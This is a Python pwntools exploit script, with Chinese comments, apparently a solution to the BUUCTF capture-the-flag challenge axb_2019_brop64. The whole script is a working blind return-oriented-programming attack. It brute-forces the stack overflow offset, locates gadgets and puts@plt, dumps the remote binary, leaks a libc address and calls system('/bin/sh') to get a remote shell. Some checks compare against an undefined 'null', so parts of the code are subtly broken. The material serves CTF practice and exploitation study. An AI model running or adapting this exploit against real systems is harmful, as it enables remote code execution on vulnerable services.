BUUCTF PWN axb_2019_brop64

# coding:utf-8
from pwn import *
from LibcSearcher import *

REMOTE = True
REMOTE_DOMAIN = 'node4.buuoj.cn'
REMOTE_PORT = 12345     # 根据实际靶机分配的端口
PROCESS = './axb_2019_brop64'

def get_sh():
    if REMOTE:
        return remote(REMOTE_DOMAIN, REMOTE_PORT)
    else:
        return process(PROCESS)

# 爆破栈溢出点
def Force_find_padding():
    padding_length=0
    while True:
        try:
            padding_length = padding_length + 1
            sh = get_sh()
            sh.recvuntil(b"Please tell me:")
            sh.send(b'A' * padding_length)
            text = sh.recvall()
            if b"Goodbye!" not in text:
                raise "Programe not exit normally!"
            sh.close()
        except:
            log.success("The true padding length is " + str(padding_length - 1))
            sh.close()
            return padding_length - 1
    log.error("We don't find true padding length!")

padding_length = 216    # 偏移长度216，第217位是return_addr
if padding_length is null:
    padding_length = Force_find_padding()

# 因为本题没有canary，所以不需要爆破Canary,并且本题栈溢出可以直接泄漏栈的内容，这里先泄漏原来的返回地址，以便后面缩小范围。
old_return_addr = 0x400834
sh = get_sh()
if old_return_addr is null: 
    sh.recvuntil(b"Please tell me:")
    sh.send(b'A' * padding_length)
    sh.recvuntil(b'A' * padding_length)
    old_return_addr = sh.recvuntil(b'Goodbye!')[:-8].ljust(8, b'\0')
    old_return_addr = u64(old_return_addr)  # 0x400834
    log.info('The old return address is '+ hex(old_return_addr))
sh.close()

# 寻找 stop gadget
def Find_stop_gadget(old_return_addr, padding_length):
    maybe_low_byte = 0x0700     # 从0x0开始，出来0x6e0,0x6e2等等好几个，但测了几个都不能用，所以直接从0x700开始 
    while True:
        try:
            sh = get_sh()
            sh.recvuntil(b"Please tell me:")
            sh.send(b'A' * padding_length + p16(maybe_low_byte))
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if b"Hello" in sh.recvall(timeout=1):
                log.success("We found a stop gadget is " + hex(old_return_addr + maybe_low_byte))
                sh.close()
                return (old_return_addr + maybe_low_byte)
            maybe_low_byte = maybe_low_byte + 1
        except:
            pass
        finally:
            sh.close()

stop_gadget_addr = 0x4007d6 # 0x4007d6
if stop_gadget_addr is null:
    stop_gadget_addr = Find_stop_gadget(old_return_addr & 0xFF0000, padding_length)


# 寻找 BROP gadget
def Find_brop_gadget(libc_csu_init_address_maybe, padding_length, stop_gadget):
    maybe_low_byte = 0x0000
    while True:
        try:
            sh = get_sh()
            sh.recvuntil(b"Please tell me:")
            payload  = b'A' * padding_length    # junk + probe + trap + trap + trap + trap + trap + trap + stop + trap + trap + trap + trap + trap + trap...
            payload += p64(libc_csu_init_address_maybe + maybe_low_byte) 
            payload += p64(0) * 6
            payload += p64(stop_gadget) + p64(0) * 10
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if b"Hello" in sh.recvall(timeout=1):
                log.success("We found a brop gadget is " + hex(libc_csu_init_address_maybe + maybe_low_byte))
                return (libc_csu_init_address_maybe + maybe_low_byte)
            maybe_low_byte = maybe_low_byte + 1
        except:
            pass
            sh.close()

brop_gadget_addr = 0x40095a # 0x40095a
if brop_gadget_addr is null:
    brop_gadget_addr = Find_brop_gadget(old_return_addr & 0xFF0000, padding_length, stop_gadget_addr)
    

# 寻找PLT表中的puts函数
def Find_func_plt(func_plt_maybe, padding_length, stop_gadget, brop_gadget):
    maybe_low_byte = 0x0600
    while True:
        try:
            sh = get_sh()
            sh.recvuntil(b"Please tell me:")
            payload  = b'A' * padding_length 
            payload += p64(brop_gadget + 9) # pop rdi;ret; 这里只需要一个参数是因为想找到puts函数来输出
            payload += p64(0x400000)
            payload += p64(func_plt_maybe + maybe_low_byte)
            payload += p64(stop_gadget)
            sh.send(payload)
            if maybe_low_byte > 0xFFFF:
                log.error("All low byte is wrong!")
            if b"ELF" in sh.recvall(timeout=1):     # 没有ASLR的基地址一定是0x400000，并且该地址的内容为"ELF"
                log.success(
                    "We found a function plt address is " + hex(func_plt_maybe + maybe_low_byte)
                )
                return (func_plt_maybe + maybe_low_byte)
            maybe_low_byte = maybe_low_byte + 1
        except:
            pass
            sh.close()

func_plt_addr = 0x400635    # 0x400635
if func_plt_addr is null:
    func_plt_addr = Find_func_plt(old_return_addr & 0xFF0000, padding_length, stop_gadget_addr, brop_gadget_addr)
    
    
# dump内存
def Dump_file(func_plt, padding_lengsth, stop_gadget, brop_gadget):
    process_old_had_received_length = 0
    process_now_had_received_length = 0
    file_content = b""
    while True:
        try:
            sh = get_sh()
            while True:
                sh.recvuntil(b"Please tell me:")
                payload  = b'A' * (padding_length - len('Begin_leak----->'))
                payload += b'Begin_leak----->'
                payload += p64(brop_gadget + 9) # pop rdi;ret;
                payload += p64(0x400000 + process_now_had_received_length)
                payload += p64(func_plt)
                payload += p64(stop_gadget)
                sh.send(payload)
                sh.recvuntil(b'Begin_leak----->' + p64(brop_gadget + 9).strip(b'\x00'))
                received_data = sh.recvuntil(b'\x0AHello')[:-6]
                if len(received_data) == 0 :
                    file_content += b'\x00'
                    process_now_had_received_length += 1
                else :
                    file_content += received_data
                    process_now_had_received_length += len(received_data)
        except:
            if process_now_had_received_length == process_old_had_received_length :
                log.info('We get ' + str(process_old_had_received_length) + ' byte file!')
                with open('axb_2019_brop64_dump', 'wb') as fout:
                    fout.write(file_content)
                return
            process_old_had_received_length = process_now_had_received_length
            sh.close()
            pass

dump_file = False
if dump_file:
    Dump_file(func_plt_addr, padding_length, stop_gadget_addr, brop_gadget_addr)


# exp
context.log_level='debug'
context.arch='amd64'

puts_plt_addr = 0x400640    # 根据dump下来的二进制文件分析纠正为0x400640（原来是0x400635）
puts_got_addr = 0x601018    # 根据dump下来的二进制文件分析可以看到got表中puts函数地址为0x601018

payload  = b'A' * (padding_length - len('Begin_leak----->'))
payload += b'Begin_leak----->'
payload += p64(brop_gadget_addr + 9) # pop rdi;ret;
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(stop_gadget_addr)

sh = get_sh()
sh.recvuntil(b"Please tell me:")
sh.send(payload)
sh.recvuntil(b'Begin_leak----->' + p64(brop_gadget_addr + 9).strip(b'\x00'))
puts_addr = u64(sh.recvuntil(b'\x0AHello')[:-6].ljust(8,b'\x00'))

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload  = b'A' * padding_length
payload += p64(brop_gadget_addr + 9) # pop rdi;ret;
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget_addr)
sh.recvuntil(b"Please tell me:")
sh.send(payload)
sh.recv()
sh.interactive()
sh.close()